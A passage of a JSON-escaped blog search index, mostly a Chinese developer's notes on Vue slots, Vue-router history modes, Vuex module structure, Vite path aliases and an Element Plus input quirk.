vm实例集群,甚至是一个会自己维护自己,会帮我处理各种浪费时间的重复任务,并且易于灾难恢复和迁移的系统,以及一个Linux新手应该具备的系统管理心得经验。\u003c/p\u003e\u003cp\u003e可以说,这些投入,物超所值。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/07/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/ESXi%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0/"},{"title":"Web开发日志-Vue篇","time":"2023-07-17T11:24:35Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"Vue\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#Vue\" class=\"headerlink\" title=\"Vue\"\u003e\u003c/a\u003eVue\u003c/h2\u003e\u003ch3 id=\"关于Slot\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#%E5%85%B3%E4%BA%8ESlot\" class=\"headerlink\" title=\"关于Slot\"\u003e\u003c/a\u003e关于Slot\u003c/h3\u003e\u003cp\u003eSlot,即“插槽”,是Vue的一个很重要的功能。通过插槽,可以将其他的组件“插入”到当前组件的某个槽位。这个机制的优点,就是在保留了子组件的控制的同时,也给父组件保留了一定的内容控制权。比如elementUI,它的很多功能都提供了slot来让我们插入自定义的内容。\u003c/p\u003e\u003ch4 id=\"用法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#%E7%94%A8%E6%B3%95\" class=\"headerlink\" title=\"用法\"\u003e\u003c/a\u003e用法\u003c/h4\u003e\u003cp\u003e它的用法很简单,分两部分。\u003c/p\u003e\u003col\u003e\u003cli\u003e组件\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;slot name=\u0026#34;component-a\u0026#34; :param1=\u0026#34;123\u0026#34;\u0026gt;\u0026lt;/slot\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"2\"\u003e\u003cli\u003e父组件\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026lt;Component\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;template #component-a=\u0026#34;{ param_1 }\u0026#34;\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{{ param_1 }}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/template\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/Component\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面是完整示例,一个\u003cstrong\u003e具名\u003c/strong\u003e的\u003cstrong\u003e作用域\u003c/strong\u003e插槽。它将子组件的一个参数\u003ccode\u003eparam1\u003c/code\u003e通过解构赋值,回传到了父组件的形参\u003ccode\u003eparam_1\u003c/code\u003e中,并在其中渲染出了它的值。同时,父组件将这部分template中的内容传入了子组件中,和子组件的其他部分内容一同渲染。\u003c/p\u003e\u003ch2 id=\"Vue-router\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#Vue-router\" class=\"headerlink\" title=\"Vue-router\"\u003e\u003c/a\u003eVue-router\u003c/h2\u003e\u003ch3 id=\"历史模式的问题\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#%E5%8E%86%E5%8F%B2%E6%A8%A1%E5%BC%8F%E7%9A%84%E9%97%AE%E9%A2%98\" class=\"headerlink\" title=\"历史模式的问题\"\u003e\u003c/a\u003e历史模式的问题\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eVue-router\u003c/code\u003e支持多种历史模式。现在较为常用的一种就是\u003ccode\u003eHTML5\u003c/code\u003e模式。该模式下,浏览器显示的链接和正常的url一致,非常漂亮。但是需要后端路由的配置,否则会出现刷新页面出现404的问题。\u003c/p\u003e\u003cp\u003e除了\u003ccode\u003eHTML5\u003c/code\u003e模式,还有一种历史模式,叫做\u003ccode\u003ehash\u003c/code\u003e模式。它会在url中添加一个\u003ccode\u003e#\u003c/code\u003e来解决这个问题:\u003ccode\u003e#\u003c/code\u003e后面的部分在刷新时不会被后端认为是任何后端路由,因此也就不存在刷新后出现404的问题。\u003c/p\u003e\u003cp\u003e这一部分的配置在\u003ccode\u003ecreateRouter()\u003c/code\u003e的参数中进行配置:\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e { createRouter, createWebHashHistory, createWebHistory } \u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;vue-router\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eexport\u003c/span\u003e \u003cspan class=\"keyword\"\u003edefault\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecreateRouter\u003c/span\u003e({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// hash模式,无需后端配置\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003ehistory\u003c/span\u003e: \u003cspan class=\"title function_\"\u003ecreateWebHashHistory\u003c/span\u003e(),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// html5模式,需要后端配置\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003ehistory\u003c/span\u003e: \u003cspan class=\"title function_\"\u003ecreateWebHistory\u003c/span\u003e(),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eroutes\u003c/span\u003e: [ ... ]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e});\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"Vuex\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#Vuex\" class=\"headerlink\" title=\"Vuex\"\u003e\u003c/a\u003eVuex\u003c/h2\u003e\u003cp\u003e这是Vue官方出的状态管理插件。它用来管理整个单页程序的所有数据。\u003c/p\u003e\u003ch3 id=\"项目架构\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#%E9%A1%B9%E7%9B%AE%E6%9E%B6%E6%9E%84\" class=\"headerlink\" title=\"项目架构\"\u003e\u003c/a\u003e项目架构\u003c/h3\u003e\u003cp\u003e使用Vuex时,最佳实践一般是使用模块来组织各个部分的数据。假设我们的项目的store目录结构如下:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e- store\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e - modules\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e - module1.js\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e - module2.js\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e - module3.js\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e - index.js\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e那么,我们可以在每个模块中这么定义数据:\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e auth = {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003estate\u003c/span\u003e: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003etoken\u003c/span\u003e: \u003cspan class=\"literal\"\u003enull\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003emutations\u003c/span\u003e: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_\"\u003eSET_TOKEN\u003c/span\u003e(\u003cspan class=\"params\"\u003estate, token\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e state.\u003cspan class=\"property\"\u003etoken\u003c/span\u003e = token;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eactions\u003c/span\u003e: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_\"\u003esetToken\u003c/span\u003e(\u003cspan class=\"params\"\u003e{ commit }, token\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_\"\u003ecommit\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;SET_TOKEN\u0026#34;\u003c/span\u003e, token);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003egetters\u003c/span\u003e: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_\"\u003egetToken\u003c/span\u003e(\u003cspan class=\"params\"\u003estate\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e state.\u003cspan class=\"property\"\u003etoken\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eexport\u003c/span\u003e \u003cspan class=\"keyword\"\u003edefault\u003c/span\u003e auth;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后在index.js中这么导入模块:\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e \u003cspan class=\"title class_\"\u003eVue\u003c/span\u003e \u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;vue\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e \u003cspan class=\"title class_\"\u003eVuex\u003c/span\u003e \u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;vuex\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e modules \u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;./modules\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"title class_\"\u003eVue\u003c/span\u003e.\u003cspan class=\"title function_\"\u003euse\u003c/span\u003e(\u003cspan class=\"title class_\"\u003eVuex\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e store = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eVuex\u003c/span\u003e.\u003cspan class=\"title class_\"\u003eStore\u003c/span\u003e({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e modules,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eplugins\u003c/span\u003e: [localStoragePlugin]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e});\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eexport\u003c/span\u003e \u003cspan class=\"keyword\"\u003edefault\u003c/span\u003e store;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这种结构便于我们维护前端的数据模型。\u003c/p\u003e\u003ch2 id=\"Vite\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#Vite\" class=\"headerlink\" title=\"Vite\"\u003e\u003c/a\u003eVite\u003c/h2\u003e\u003ch3 id=\"pathResolve\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#pathResolve\" class=\"headerlink\" title=\"pathResolve\"\u003e\u003c/a\u003epathResolve\u003c/h3\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eimport { defineConfig } from \u0026#34;vite\u0026#34;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport vue from \u0026#34;@vitejs/plugin-vue\u0026#34;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport path from \u0026#34;path\u0026#34;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport AutoImport from \u0026#34;unplugin-auto-import/vite\u0026#34;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport Components from \u0026#34;unplugin-vue-components/vite\u0026#34;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { ElementPlusResolver } from \u0026#34;unplugin-vue-components/resolvers\u0026#34;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e// https://vitejs.dev/config/\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eexport default defineConfig({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e plugins: [\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e vue(),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e AutoImport({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e resolvers: [ElementPlusResolver()],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Components({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e resolvers: [ElementPlusResolver()],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e resolve: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e alias: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026#34;@\u0026#34;: path.resolve(__dirname, \u0026#34;./src\u0026#34;),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e});\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"ElementUI\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#ElementUI\" class=\"headerlink\" title=\"ElementUI\"\u003e\u003c/a\u003eElementUI\u003c/h2\u003e\u003ch3 id=\"el-input的输入问题\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#el-input%E7%9A%84%E8%BE%93%E5%85%A5%E9%97%AE%E9%A2%98\" class=\"headerlink\" title=\"el-input的输入问题\"\u003e\u003c/a\u003eel-input的输入问题\u003c/h3\u003e\u003cp\u003e遇到过一次输入框无法输入的问题。查看了下\u003ca href=\"https://element-plus.gitee.io/zh-CN/component/input.html#input-%E8%BE%93%E5%85%A5%E6%A1%86\"\u003e官方文档\u003c/a\u003e发现是设计特性。正常来说,Input总是会响应输入事件,但是\u003cstrong\u003eel-input是受控组件,所以它总是会更优先保证显示v-model绑定的数据值\u003c/strong\u003e。这也就是为什么输入不会被正常响应的原因:没有给它加\u003ccode\u003ev-model\u003c/code\u003e,或者绑定了不存在/错误的对象。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e不过我绑定不存在元素的时候居然没有报错,神奇……\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"vue3-vite相对路径打包\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#vue3-vite%E7%9B%B8%E5%AF%B9%E8%B7%AF%E5%BE%84%E6%89%93%E5%8C%85\" class=\"headerlink\" title=\"vue3+vite相对路径打包\"\u003e\u003c/a\u003evue3+vite相对路径打包\u003c/h2\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan 